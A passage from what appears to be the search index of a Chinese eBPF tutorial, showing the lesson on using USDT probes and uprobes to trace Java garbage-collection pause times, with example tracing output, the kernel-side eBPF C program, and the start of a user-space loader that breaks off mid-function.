事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/usdt.bpf.h>\n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc/<pid>/maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; 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